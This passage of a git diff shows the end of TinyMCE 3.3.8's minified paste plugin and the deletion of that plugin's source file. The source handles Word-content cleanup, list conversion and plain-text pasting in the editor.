false})})}g._legacySupport()},getInfo:function(){return{longname:"Paste text/word",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_preProcess:function(i,f){var l=this.editor,k=f.content,q=tinymce.grep,p=tinymce.explode,g=tinymce.trim,m,j;function e(h){c(h,function(o){if(o.constructor==RegExp){k=k.replace(o,"")}else{k=k.replace(o[0],o[1])}})}if(/class="?Mso|style="[^"]*\bmso-|w:WordDocument/i.test(k)||f.wordContent){f.wordContent=true;e([/^\s*(&nbsp;)+/gi,/(&nbsp;|<br[^>]*>)+\s*$/gi]);if(b(l,"paste_convert_headers_to_strong")){k=k.replace(/<p [^>]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi,"<p><strong>$1</strong></p>")}if(b(l,"paste_convert_middot_lists")){e([[/<!--\[if !supportLists\]-->/gi,"$&__MCE_ITEM__"],[/(<span[^>]+(?:mso-list:|:\s*symbol)[^>]+>)/gi,"$1__MCE_ITEM__"]])}e([/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/&nbsp;/gi,"\u00a0"]]);do{m=k.length;k=k.replace(/(<[a-z][^>]*\s)(?:id|name|language|type|on\w+|\w+:\w+)=(?:"[^"]*"|\w+)\s?/gi,"$1")}while(m!=k.length);if(b(l,"paste_retain_style_properties").replace(/^none$/i,"").length==0){k=k.replace(/<\/?span[^>]*>/gi,"")}else{e([[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(o,h){return(h.length>0)?h.replace(/./," ").slice(Math.floor(h.length/2)).split("").join("\u00a0"):""}],[/(<[a-z][^>]*)\sstyle="([^"]*)"/gi,function(u,h,t){var v=[],o=0,r=p(g(t).replace(/&quot;/gi,"'"),";");c(r,function(s){var w,y,z=p(s,":");function x(A){return A+((A!=="0")&&(/\d$/.test(A)))?"px":""}if(z.length==2){w=z[0].toLowerCase();y=z[1].toLowerCase();switch(w){case"mso-padding-alt":case"mso-padding-top-alt":case"mso-padding-right-alt":case"mso-padding-bottom-alt":case"mso-padding-left-alt":case"mso-margin-alt":case"mso-margin-top-alt":case"mso-margin-right-alt":case"mso-margin-bottom-alt":case"mso-margin-left-alt":case"mso-table-layout-alt":case"mso-height":case"mso-width":case"mso-vertical-align-alt":v[o++]=w.replace(/^mso-|-alt$/g,"")+":"+x(y);return;case"horiz-align":v[o++]="text-align:"+y;return;case"vert-align":v[o++]="vertical-align:"+y;return;case"font-color":case"mso-foreground":v[o++]="color:"+y;return;case"mso-background":case"mso-highlight":v[o++]="background:"+y;return;case"mso-default-height":v[o++]="min-height:"+x(y);return;case"mso-default-width":v[o++]="min-width:"+x(y);return;case"mso-padding-between-alt":v[o++]="border-collapse:separate;border-spacing:"+x(y);return;case"text-line-through":if((y=="single")||(y=="double")){v[o++]="text-decoration:line-through"}return;case"mso-zero-height":if(y=="yes"){v[o++]="display:none"}return}if(/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?!align|decor|indent|trans)|top-bar|version|vnd|word-break)/.test(w)){return}v[o++]=w+":"+z[1]}});if(o>0){return h+' style="'+v.join(";")+'"'}else{return h}}]])}}if(b(l,"paste_convert_headers_to_strong")){e([[/<h[1-6][^>]*>/gi,"<p><strong>"],[/<\/h[1-6][^>]*>/gi,"</strong></p>"]])}j=b(l,"paste_strip_class_attributes");if(j!=="none"){function n(r,o){if(j==="all"){return""}var h=q(p(o.replace(/^(["'])(.*)\1$/,"$2")," "),function(s){return(/^(?!mso)/i.test(s))});return h.length?' class="'+h.join(" ")+'"':""}k=k.replace(/ class="([^"]+)"/gi,n);k=k.replace(/ class=(\w+)/gi,n)}if(b(l,"paste_remove_spans")){k=k.replace(/<\/?span[^>]*>/gi,"")}f.content=k},_postProcess:function(h,j){var g=this,f=g.editor,i=f.dom,e;if(j.wordContent){c(i.select("a",j.node),function(k){if(!k.href||k.href.indexOf("#_Toc")!=-1){i.remove(k,1)}});if(b(f,"paste_convert_middot_lists")){g._convertLists(h,j)}e=b(f,"paste_retain_style_properties");if((tinymce.is(e,"string"))&&(e!=="all")&&(e!=="*")){e=tinymce.explode(e.replace(/^none$/i,""));c(i.select("*",j.node),function(n){var o={},l=0,m,p,k;if(e){for(m=0;m<e.length;m++){p=e[m];k=i.getStyle(n,p);if(k){o[p]=k;l++}}}i.setAttrib(n,"style","");if(e&&l>0){i.setStyles(n,o)}else{if(n.nodeName=="SPAN"&&!n.className){i.remove(n,true)}}})}}if(b(f,"paste_remove_styles")||(b(f,"paste_remove_styles_if_webkit")&&tinymce.isWebKit)){c(i.select("*[style]",j.node),function(k){k.removeAttribute("style");k.removeAttribute("_mce_style")})}else{if(tinymce.isWebKit){c(i.select("*",j.node),function(k){k.removeAttribute("_mce_style")})}}},_convertLists:function(h,f){var j=h.editor.dom,i,m,e=-1,g,n=[],l,k;c(j.select("p",f.node),function(u){var r,v="",t,s,o,q;for(r=u.firstChild;r&&r.nodeType==3;r=r.nextSibling){v+=r.nodeValue}v=u.innerHTML.replace(/<\/?\w+[^>]*>/gi,"").replace(/&nbsp;/g,"\u00a0");if(/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o]\s*\u00a0*/.test(v)){t="ul"}if(/^__MCE_ITEM__\s*\w+\.\s*\u00a0{2,}/.test(v)){t="ol"}if(t){g=parseFloat(u.style.marginLeft||0);if(g>e){n.push(g)}if(!i||t!=l){i=j.create(t);j.insertAfter(i,u)}else{if(g>e){i=m.appendChild(j.create(t))}else{if(g<e){o=tinymce.inArray(n,g);q=j.getParents(i.parentNode,t);i=q[q.length-1-o]||i}}}c(j.select("span",u),function(w){var p=w.innerHTML.replace(/<\/?\w+[^>]*>/gi,"");if(t=="ul"&&/^[\u2022\u00b7\u00a7\u00d8o]/.test(p)){j.remove(w)}else{if(/^[\s\S]*\w+\.(&nbsp;|\u00a0)*\s*/.test(p)){j.remove(w)}}});s=u.innerHTML;if(t=="ul"){s=u.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^[\u2022\u00b7\u00a7\u00d8o]\s*(&nbsp;|\u00a0)+\s*/,"")}else{s=u.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^\s*\w+\.(&nbsp;|\u00a0)+\s*/,"")}m=i.appendChild(j.create("li",0,s));j.remove(u);e=g;l=t}else{i=e=0}});k=f.node.innerHTML;if(k.indexOf("__MCE_ITEM__")!=-1){f.node.innerHTML=k.replace(/__MCE_ITEM__/g,"")}},_insertBlockContent:function(l,h,m){var f,j,g=l.selection,q,n,e,o,i,k="mce_marker";function p(t){var s;if(tinymce.isIE){s=l.getDoc().body.createTextRange();s.moveToElementText(t);s.collapse(false);s.select()}else{g.select(t,1);g.collapse(false)}}this._insert('<span id="'+k+'"></span>',1);j=h.get(k);f=h.getParent(j,"p,h1,h2,h3,h4,h5,h6,ul,ol,th,td");if(f&&!/TD|TH/.test(f.nodeName)){j=h.split(f,j);c(h.create("div",0,m).childNodes,function(r){q=j.parentNode.insertBefore(r.cloneNode(true),j)});p(q)}else{h.setOuterHTML(j,m);g.select(l.getBody(),1);g.collapse(0)}while(n=h.get(k)){h.remove(n)}n=g.getStart();e=h.getViewPort(l.getWin());o=l.dom.getPos(n).y;i=n.clientHeight;if(o<e.y||o+i>e.y+e.h){l.getDoc().body.scrollTop=o<e.y?o:o-e.h+25}},_insert:function(g,e){var f=this.editor,i=f.selection.getRng();if(!f.selection.isCollapsed()&&i.startContainer!=i.endContainer){f.getDoc().execCommand("Delete",false,null)}f.execCommand(tinymce.isGecko?"insertHTML":"mceInsertContent",false,g,{skip_undo:e})},_insertPlainText:function(j,x,v){var t,u,l,k,r,e,p,f,n=j.getWin(),z=j.getDoc(),s=j.selection,m=tinymce.is,y=tinymce.inArray,g=b(j,"paste_text_linebreaktype"),o=b(j,"paste_text_replacements");function q(h){c(h,function(i){if(i.constructor==RegExp){v=v.replace(i,"")}else{v=v.replace(i[0],i[1])}})}if((typeof(v)==="string")&&(v.length>0)){if(!d){d=("34,quot,38,amp,39,apos,60,lt,62,gt,"+j.serializer.settings.entities).split(",")}if(/<(?:p|br|h[1-6]|ul|ol|dl|table|t[rdh]|div|blockquote|fieldset|pre|address|center)[^>]*>/i.test(v)){q([/[\n\r]+/g])}else{q([/\r+/g])}q([[/<\/(?:p|h[1-6]|ul|ol|dl|table|div|blockquote|fieldset|pre|address|center)>/gi,"\n\n"],[/<br[^>]*>|<\/tr>/gi,"\n"],[/<\/t[dh]>\s*<t[dh][^>]*>/gi,"\t"],/<[a-z!\/?][^>]*>/gi,[/&nbsp;/gi," "],[/&(#\d+|[a-z0-9]{1,10});/gi,function(i,h){if(h.charAt(0)==="#"){return String.fromCharCode(h.slice(1))}else{return((i=y(d,h))>0)?String.fromCharCode(d[i-1]):" "}}],[/(?:(?!\n)\s)*(\n+)(?:(?!\n)\s)*/gi,"$1"],[/\n{3,}/g,"\n\n"],/^\s+|\s+$/g]);v=x.encode(v);if(!s.isCollapsed()){z.execCommand("Delete",false,null)}if(m(o,"array")||(m(o,"array"))){q(o)}else{if(m(o,"string")){q(new RegExp(o,"gi"))}}if(g=="none"){q([[/\n+/g," "]])}else{if(g=="br"){q([[/\n/g,"<br />"]])}else{q([/^\s+|\s+$/g,[/\n\n/g,"</p><p>"],[/\n/g,"<br />"]])}}if((l=v.indexOf("</p><p>"))!=-1){k=v.lastIndexOf("</p><p>");r=s.getNode();e=[];do{if(r.nodeType==1){if(r.nodeName=="TD"||r.nodeName=="BODY"){break}e[e.length]=r}}while(r=r.parentNode);if(e.length>0){p=v.substring(0,l);f="";for(t=0,u=e.length;t<u;t++){p+="</"+e[t].nodeName.toLowerCase()+">";f+="<"+e[e.length-t-1].nodeName.toLowerCase()+">"}if(l==k){v=p+f+v.substring(l+7)}else{v=p+v.substring(l+4,k+4)+f+v.substring(k+7)}}}j.execCommand("mceInsertRawHTML",false,v+'<span id="_plain_text_marker">&nbsp;</span>');window.setTimeout(function(){var h=x.get("_plain_text_marker"),B,i,A,w;s.select(h,false);z.execCommand("Delete",false,null);h=null;B=s.getStart();i=x.getViewPort(n);A=x.getPos(B).y;w=B.clientHeight;if((A<i.y)||(A+w>i.y+i.h)){z.body.scrollTop=A<i.y?A:A-i.h+25}},0)}},_legacySupport:function(){var f=this,e=f.editor;e.addCommand("mcePasteWord",function(){e.windowManager.open({file:f.url+"/pasteword.htm",width:parseInt(b(e,"paste_dialog_width")),height:parseInt(b(e,"paste_dialog_height")),inline:1})});if(b(e,"paste_text_use_dialog")){e.addCommand("mcePasteText",function(){e.windowManager.open({file:f.url+"/pastetext.htm",width:parseInt(b(e,"paste_dialog_width")),height:parseInt(b(e,"paste_dialog_height")),inline:1})})}e.addButton("pasteword",{title:"paste.paste_word_desc",cmd:"mcePasteWord"})}});tinymce.PluginManager.add("paste",tinymce.plugins.PastePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js deleted file mode 100644 index ad9740f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js +++ /dev/null @@ -1,952 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var each = tinymce.each, - entities = null, - defs = { - paste_auto_cleanup_on_paste : true, - paste_block_drop : false, - paste_retain_style_properties : "none", - paste_strip_class_attributes : "mso", - paste_remove_spans : false, - paste_remove_styles : false, - paste_remove_styles_if_webkit : true, - paste_convert_middot_lists : true, - paste_convert_headers_to_strong : false, - paste_dialog_width : "450", - paste_dialog_height : "400", - paste_text_use_dialog : false, - paste_text_sticky : false, - paste_text_notifyalways : false, - paste_text_linebreaktype : "p", - paste_text_replacements : [ - [/\u2026/g, "..."], - [/[\x93\x94\u201c\u201d]/g, '"'], - [/[\x60\x91\x92\u2018\u2019]/g, "'"] - ] - }; - - function getParam(ed, name) { - return ed.getParam(name, defs[name]); - } - - tinymce.create('tinymce.plugins.PastePlugin', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - t.url = url; - - // Setup plugin events - t.onPreProcess = new tinymce.util.Dispatcher(t); - t.onPostProcess = new tinymce.util.Dispatcher(t); - - // Register default handlers - t.onPreProcess.add(t._preProcess); - t.onPostProcess.add(t._postProcess); - - // Register optional preprocess handler - t.onPreProcess.add(function(pl, o) { - ed.execCallback('paste_preprocess', pl, o); - }); - - // Register optional postprocess - t.onPostProcess.add(function(pl, o) { - ed.execCallback('paste_postprocess', pl, o); - }); - - // Initialize plain text flag - ed.pasteAsPlainText = false; - - // This function executes the process handlers and inserts the contents - // force_rich overrides plain text mode set by user, important for pasting with execCommand - function process(o, force_rich) { - var dom = ed.dom; - - // Execute pre process handlers - t.onPreProcess.dispatch(t, o); - - // Create DOM structure - o.node = dom.create('div', 0, o.content); - - // Execute post process handlers - t.onPostProcess.dispatch(t, o); - - // Serialize content - o.content = ed.serializer.serialize(o.node, {getInner : 1}); - - // Plain text option active? - if ((!force_rich) && (ed.pasteAsPlainText)) { - t._insertPlainText(ed, dom, o.content); - - if (!getParam(ed, "paste_text_sticky")) { - ed.pasteAsPlainText = false; - ed.controlManager.setActive("pastetext", false); - } - } else if (/<(p|h[1-6]|ul|ol)/.test(o.content)) { - // Handle insertion of contents containing block elements separately - t._insertBlockContent(ed, dom, o.content); - } else { - t._insert(o.content); - } - } - - // Add command for external usage - ed.addCommand('mceInsertClipboardContent', function(u, o) { - process(o, true); - }); - - if (!getParam(ed, "paste_text_use_dialog")) { - ed.addCommand('mcePasteText', function(u, v) { - var cookie = tinymce.util.Cookie; - - ed.pasteAsPlainText = !ed.pasteAsPlainText; - ed.controlManager.setActive('pastetext', ed.pasteAsPlainText); - - if ((ed.pasteAsPlainText) && (!cookie.get("tinymcePasteText"))) { - if (getParam(ed, "paste_text_sticky")) { - ed.windowManager.alert(ed.translate('paste.plaintext_mode_sticky')); - } else { - ed.windowManager.alert(ed.translate('paste.plaintext_mode_sticky')); - } - - if (!getParam(ed, "paste_text_notifyalways")) { - cookie.set("tinymcePasteText", "1", new Date(new Date().getFullYear() + 1, 12, 31)) - } - } - }); - } - - ed.addButton('pastetext', {title: 'paste.paste_text_desc', cmd: 'mcePasteText'}); - ed.addButton('selectall', {title: 'paste.selectall_desc', cmd: 'selectall'}); - - // This function grabs the contents from the clipboard by adding a - // hidden div and placing the caret inside it and after the browser paste - // is done it grabs that contents and processes that - function grabContent(e) { - var n, or, rng, sel = ed.selection, dom = ed.dom, body = ed.getBody(), posY; - - // Check if browser supports direct plaintext access - if (ed.pasteAsPlainText && (e.clipboardData || dom.doc.dataTransfer)) { - e.preventDefault(); - process({content : (e.clipboardData || dom.doc.dataTransfer).getData('Text')}, true); - return; - } - - if (dom.get('_mcePaste')) - return; - - // Create container to paste into - n = dom.add(body, 'div', {id : '_mcePaste', 'class' : 'mcePaste'}, '\uFEFF<br _mce_bogus="1">'); - - // If contentEditable mode we need to find out the position of the closest element - if (body != ed.getDoc().body) - posY = dom.getPos(ed.selection.getStart(), body).y; - else - posY = body.scrollTop; - - // Styles needs to be applied after the element is added to the document since WebKit will otherwise remove all styles - dom.setStyles(n, { - position : 'absolute', - left : -10000, - top : posY, - width : 1, - height : 1, - overflow : 'hidden' - }); - - if (tinymce.isIE) { - // Select the container - rng = dom.doc.body.createTextRange(); - rng.moveToElementText(n); - rng.execCommand('Paste'); - - // Remove container - dom.remove(n); - - // Check if the contents was changed, if it wasn't then clipboard extraction failed probably due - // to IE security settings so we pass the junk though better than nothing right - if (n.innerHTML === '\uFEFF') { - ed.execCommand('mcePasteWord'); - e.preventDefault(); - return; - } - - // Process contents - process({content : n.innerHTML}); - - // Block the real paste event - return tinymce.dom.Event.cancel(e); - } else { - function block(e) { - e.preventDefault(); - }; - - // Block mousedown and click to prevent selection change - dom.bind(ed.getDoc(), 'mousedown', block); - dom.bind(ed.getDoc(), 'keydown', block); - - or = ed.selection.getRng(); - - // Move caret into hidden div - n = n.firstChild; - rng = ed.getDoc().createRange(); - rng.setStart(n, 0); - rng.setEnd(n, 1); - sel.setRng(rng); - - // Wait a while and grab the pasted contents - window.setTimeout(function() { - var h = '', nl = dom.select('div.mcePaste'); - - // WebKit will split the div into multiple ones so this will loop through then all and join them to get the whole HTML string - each(nl, function(n) { - var child = n.firstChild; - - // WebKit inserts a DIV container with lots of odd styles - if (child && child.nodeName == 'DIV' && child.style.marginTop && child.style.backgroundColor) { - dom.remove(child, 1); - } - - // WebKit duplicates the divs so we need to remove them - each(dom.select('div.mcePaste', n), function(n) { - dom.remove(n, 1); - }); - - // Remove apply style spans - each(dom.select('span.Apple-style-span', n), function(n) { - dom.remove(n, 1); - }); - - // Remove bogus br elements - each(dom.select('br[_mce_bogus]', n), function(n) { - dom.remove(n); - }); - - h += n.innerHTML; - }); - - // Remove the nodes - each(nl, function(n) { - dom.remove(n); - }); - - // Restore the old selection - if (or) - sel.setRng(or); - - process({content : h}); - - // Unblock events ones we got the contents - dom.unbind(ed.getDoc(), 'mousedown', block); - dom.unbind(ed.getDoc(), 'keydown', block); - }, 0); - } - } - - // Check if we should use the new auto process method - if (getParam(ed, "paste_auto_cleanup_on_paste")) { - // Is it's Opera or older FF use key handler - if (tinymce.isOpera || /Firefox\/2/.test(navigator.userAgent)) { - ed.onKeyDown.add(function(ed, e) { - if (((tinymce.isMac ? e.metaKey : e.ctrlKey) && e.keyCode == 86) || (e.shiftKey && e.keyCode == 45)) - grabContent(e); - }); - } else { - // Grab contents on paste event on Gecko and WebKit - ed.onPaste.addToTop(function(ed, e) { - return grabContent(e); - }); - } - } - - // Block all drag/drop events - if (getParam(ed, "paste_block_drop")) { - ed.onInit.add(function() { - ed.dom.bind(ed.getBody(), ['dragend', 'dragover', 'draggesture', 'dragdrop', 'drop', 'drag'], function(e) { - e.preventDefault(); - e.stopPropagation(); - - return false; - }); - }); - } - - // Add legacy support - t._legacySupport(); - }, - - getInfo : function() { - return { - longname : 'Paste text/word', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - _preProcess : function(pl, o) { - //console.log('Before preprocess:' + o.content); - - var ed = this.editor, - h = o.content, - grep = tinymce.grep, - explode = tinymce.explode, - trim = tinymce.trim, - len, stripClass; - - function process(items) { - each(items, function(v) { - // Remove or replace - if (v.constructor == RegExp) - h = h.replace(v, ''); - else - h = h.replace(v[0], v[1]); - }); - } - - // Detect Word content and process it more aggressive - if (/class="?Mso|style="[^"]*\bmso-|w:WordDocument/i.test(h) || o.wordContent) { - o.wordContent = true; // Mark the pasted contents as word specific content - //console.log('Word contents detected.'); - - // Process away some basic content - process([ - /^\s*(&nbsp;)+/gi, // &nbsp; entities at the start of contents - /(&nbsp;|<br[^>]*>)+\s*$/gi // &nbsp; entities at the end of contents - ]); - - if (getParam(ed, "paste_convert_headers_to_strong")) { - h = h.replace(/<p [^>]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi, "<p><strong>$1</strong></p>"); - } - - if (getParam(ed, "paste_convert_middot_lists")) { - process([ - [/<!--\[if !supportLists\]-->/gi, '$&__MCE_ITEM__'], // Convert supportLists to a list item marker - [/(<span[^>]+(?:mso-list:|:\s*symbol)[^>]+>)/gi, '$1__MCE_ITEM__'] // Convert mso-list and symbol spans to item markers - ]); - } - - process([ - // Word comments like conditional comments etc - /<!--[\s\S]+?-->/gi, - - // Remove comments, scripts (e.g., msoShowComment), XML tag, VML content, MS Office namespaced tags, and a few other tags - /<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi, - - // Convert <s> into <strike> for line-though - [/<(\/?)s>/gi, "<$1strike>"], - - // Replace nsbp entites to char since it's easier to handle - [/&nbsp;/gi, "\u00a0"] - ]); - - // Remove bad attributes, with or without quotes, ensuring that attribute text is really inside a tag. - // If JavaScript had a RegExp look-behind, we could have integrated this with the last process() array and got rid of the loop. But alas, it does not, so we cannot. - do { - len = h.length; - h = h.replace(/(<[a-z][^>]*\s)(?:id|name|language|type|on\w+|\w+:\w+)=(?:"[^"]*"|\w+)\s?/gi, "$1"); - } while (len != h.length); - - // Remove all spans if no styles is to be retained - if (getParam(ed, "paste_retain_style_properties").replace(/^none$/i, "").length == 0) { - h = h.replace(/<\/?span[^>]*>/gi, ""); - } else { - // We're keeping styles, so at least clean them up. - // CSS Reference: http://msdn.microsoft.com/en-us/library/aa155477.aspx - - process([ - // Convert <span style="mso-spacerun:yes">___</span> to string of alternating breaking/non-breaking spaces of same length - [/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi, - function(str, spaces) { - return (spaces.length > 0)? spaces.replace(/./, " ").slice(Math.floor(spaces.length/2)).split("").join("\u00a0") : ""; - } - ], - - // Examine all styles: delete junk, transform some, and keep the rest - [/(<[a-z][^>]*)\sstyle="([^"]*)"/gi, - function(str, tag, style) { - var n = [], - i = 0, - s = explode(trim(style).replace(/&quot;/gi, "'"), ";"); - - // Examine each style definition within the tag's style attribute - each(s, function(v) { - var name, value, - parts = explode(v, ":"); - - function ensureUnits(v) { - return v + ((v !== "0") && (/\d$/.test(v)))? "px" : ""; - } - - if (parts.length == 2) { - name = parts[0].toLowerCase(); - value = parts[1].toLowerCase(); - - // Translate certain MS Office styles into their CSS equivalents - switch (name) { - case "mso-padding-alt": - case "mso-padding-top-alt": - case "mso-padding-right-alt": - case "mso-padding-bottom-alt": - case "mso-padding-left-alt": - case "mso-margin-alt": - case "mso-margin-top-alt": - case "mso-margin-right-alt": - case "mso-margin-bottom-alt": - case "mso-margin-left-alt": - case "mso-table-layout-alt": - case "mso-height": - case "mso-width": - case "mso-vertical-align-alt": - n[i++] = name.replace(/^mso-|-alt$/g, "") + ":" + ensureUnits(value); - return; - - case "horiz-align": - n[i++] = "text-align:" + value; - return; - - case "vert-align": - n[i++] = "vertical-align:" + value; - return; - - case "font-color": - case "mso-foreground": - n[i++] = "color:" + value; - return; - - case "mso-background": - case "mso-highlight": - n[i++] = "background:" + value; - return; - - case "mso-default-height": - n[i++] = "min-height:" + ensureUnits(value); - return; - - case "mso-default-width": - n[i++] = "min-width:" + ensureUnits(value); - return; - - case "mso-padding-between-alt": - n[i++] = "border-collapse:separate;border-spacing:" + ensureUnits(value); - return; - - case "text-line-through": - if ((value == "single") || (value == "double")) { - n[i++] = "text-decoration:line-through"; - } - return; - - case "mso-zero-height": - if (value == "yes") { - n[i++] = "display:none"; - } - return; - } - - // Eliminate all MS Office style definitions that have no CSS equivalent by examining the first characters in the name - if (/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?!align|decor|indent|trans)|top-bar|version|vnd|word-break)/.test(name)) { - return; - } - - // If it reached this point, it must be a valid CSS style - n[i++] = name + ":" + parts[1]; // Lower-case name, but keep value case - } - }); - - // If style attribute contained any valid styles the re-write it; otherwise delete style attribute. - if (i > 0) { - return tag + ' style="' + n.join(';') + '"'; - } else { - return tag; - } - } - ] - ]); - } - } - - // Replace headers with <strong> - if (getParam(ed, "paste_convert_headers_to_strong")) { - process([ - [/<h[1-6][^>]*>/gi, "<p><strong>"], - [/<\/h[1-6][^>]*>/gi, "</strong></p>"] - ]); - } - - // Class attribute options are: leave all as-is ("none"), remove all ("all"), or remove only those starting with mso ("mso"). - // Note:- paste_strip_class_attributes: "none", verify_css_classes: true is also a good variation. - stripClass = getParam(ed, "paste_strip_class_attributes"); - - if (stripClass !== "none") { - function removeClasses(match, g1) { - if (stripClass === "all") - return ''; - - var cls = grep(explode(g1.replace(/^(["'])(.*)\1$/, "$2"), " "), - function(v) { - return (/^(?!mso)/i.test(v)); - } - ); - - return cls.length ? ' class="' + cls.join(" ") + '"' : ''; - }; - - h = h.replace(/ class="([^"]+)"/gi, removeClasses); - h = h.replace(/ class=(\w+)/gi, removeClasses); - } - - // Remove spans option - if (getParam(ed, "paste_remove_spans")) { - h = h.replace(/<\/?span[^>]*>/gi, ""); - } - - //console.log('After preprocess:' + h); - - o.content = h; - }, - - /** - * Various post process items. - */ - _postProcess : function(pl, o) { - var t = this, ed = t.editor, dom = ed.dom, styleProps; - - if (o.wordContent) { - // Remove named anchors or TOC links - each(dom.select('a', o.node), function(a) { - if (!a.href || a.href.indexOf('#_Toc') != -1) - dom.remove(a, 1); - }); - - if (getParam(ed, "paste_convert_middot_lists")) { - t._convertLists(pl, o); - } - - // Process styles - styleProps = getParam(ed, "paste_retain_style_properties"); // retained properties - - // Process only if a string was specified and not equal to "all" or "*" - if ((tinymce.is(styleProps, "string")) && (styleProps !== "all") && (styleProps !== "*")) { - styleProps = tinymce.explode(styleProps.replace(/^none$/i, "")); - - // Retains some style properties - each(dom.select('*', o.node), function(el) { - var newStyle = {}, npc = 0, i, sp, sv; - - // Store a subset of the existing styles - if (styleProps) { - for (i = 0; i < styleProps.length; i++) { - sp = styleProps[i]; - sv = dom.getStyle(el, sp); - - if (sv) { - newStyle[sp] = sv; - npc++; - } - } - } - - // Remove all of the existing styles - dom.setAttrib(el, 'style', ''); - - if (styleProps && npc > 0) - dom.setStyles(el, newStyle); // Add back the stored subset of styles - else // Remove empty span tags that do not have class attributes - if (el.nodeName == 'SPAN' && !el.className) - dom.remove(el, true); - }); - } - } - - // Remove all style information or only specifically on WebKit to avoid the style bug on that browser - if (getParam(ed, "paste_remove_styles") || (getParam(ed, "paste_remove_styles_if_webkit") && tinymce.isWebKit)) { - each(dom.select('*[style]', o.node), function(el) { - el.removeAttribute('style'); - el.removeAttribute('_mce_style'); - }); - } else { - if (tinymce.isWebKit) { - // We need to compress the styles on WebKit since if you paste <img border="0" /> it will become <img border="0" style="... lots of junk ..." /> - // Removing the mce_style that contains the real value will force the Serializer engine to compress the styles - each(dom.select('*', o.node), function(el) { - el.removeAttribute('_mce_style'); - }); - } - } - }, - - /** - * Converts the most common bullet and number formats in Office into a real semantic UL/LI list. - */ - _convertLists : function(pl, o) { - var dom = pl.editor.dom, listElm, li, lastMargin = -1, margin, levels = [], lastType, html; - - // Convert middot lists into real semantic lists - each(dom.select('p', o.node), function(p) { - var sib, val = '', type, html, idx, parents; - - // Get text node value at beginning of paragraph - for (sib = p.firstChild; sib && sib.nodeType == 3; sib = sib.nextSibling) - val += sib.nodeValue; - - val = p.innerHTML.replace(/<\/?\w+[^>]*>/gi, '').replace(/&nbsp;/g, '\u00a0'); - - // Detect unordered lists look for bullets - if (/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o]\s*\u00a0*/.test(val)) - type = 'ul'; - - // Detect ordered lists 1., a. or ixv. - if (/^__MCE_ITEM__\s*\w+\.\s*\u00a0{2,}/.test(val)) - type = 'ol'; - - // Check if node value matches the list pattern: o&nbsp;&nbsp; - if (type) { - margin = parseFloat(p.style.marginLeft || 0); - - if (margin > lastMargin) - levels.push(margin); - - if (!listElm || type != lastType) { - listElm = dom.create(type); - dom.insertAfter(listElm, p); - } else { - // Nested list element - if (margin > lastMargin) { - listElm = li.appendChild(dom.create(type)); - } else if (margin < lastMargin) { - // Find parent level based on margin value - idx = tinymce.inArray(levels, margin); - parents = dom.getParents(listElm.parentNode, type); - listElm = parents[parents.length - 1 - idx] || listElm; - } - } - - // Remove middot or number spans if they exists - each(dom.select('span', p), function(span) { - var html = span.innerHTML.replace(/<\/?\w+[^>]*>/gi, ''); - - // Remove span with the middot or the number - if (type == 'ul' && /^[\u2022\u00b7\u00a7\u00d8o]/.test(html)) - dom.remove(span); - else if (/^[\s\S]*\w+\.(&nbsp;|\u00a0)*\s*/.test(html)) - dom.remove(span); - }); - - html = p.innerHTML; - - // Remove middot/list items - if (type == 'ul') - html = p.innerHTML.replace(/__MCE_ITEM__/g, '').replace(/^[\u2022\u00b7\u00a7\u00d8o]\s*(&nbsp;|\u00a0)+\s*/, ''); - else - html = p.innerHTML.replace(/__MCE_ITEM__/g, '').replace(/^\s*\w+\.(&nbsp;|\u00a0)+\s*/, ''); - - // Create li and add paragraph data into the new li - li = listElm.appendChild(dom.create('li', 0, html)); - dom.remove(p); - - lastMargin = margin; - lastType = type; - } else - listElm = lastMargin = 0; // End list element - }); - - // Remove any left over makers - html = o.node.innerHTML; - if (html.indexOf('__MCE_ITEM__') != -1) - o.node.innerHTML = html.replace(/__MCE_ITEM__/g, ''); - }, - - /** - * This method will split the current block parent and insert the contents inside the split position. - * This logic can be improved so text nodes at the start/end remain in the start/end block elements - */ - _insertBlockContent : function(ed, dom, content) { - var parentBlock, marker, sel = ed.selection, last, elm, vp, y, elmHeight, markerId = 'mce_marker'; - - function select(n) { - var r; - - if (tinymce.isIE) { - r = ed.getDoc().body.createTextRange(); - r.moveToElementText(n); - r.collapse(false); - r.select(); - } else { - sel.select(n, 1); - sel.collapse(false); - } - } - - // Insert a marker for the caret position - this._insert('<span id="' + markerId + '"></span>', 1); - marker = dom.get(markerId); - parentBlock = dom.getParent(marker, 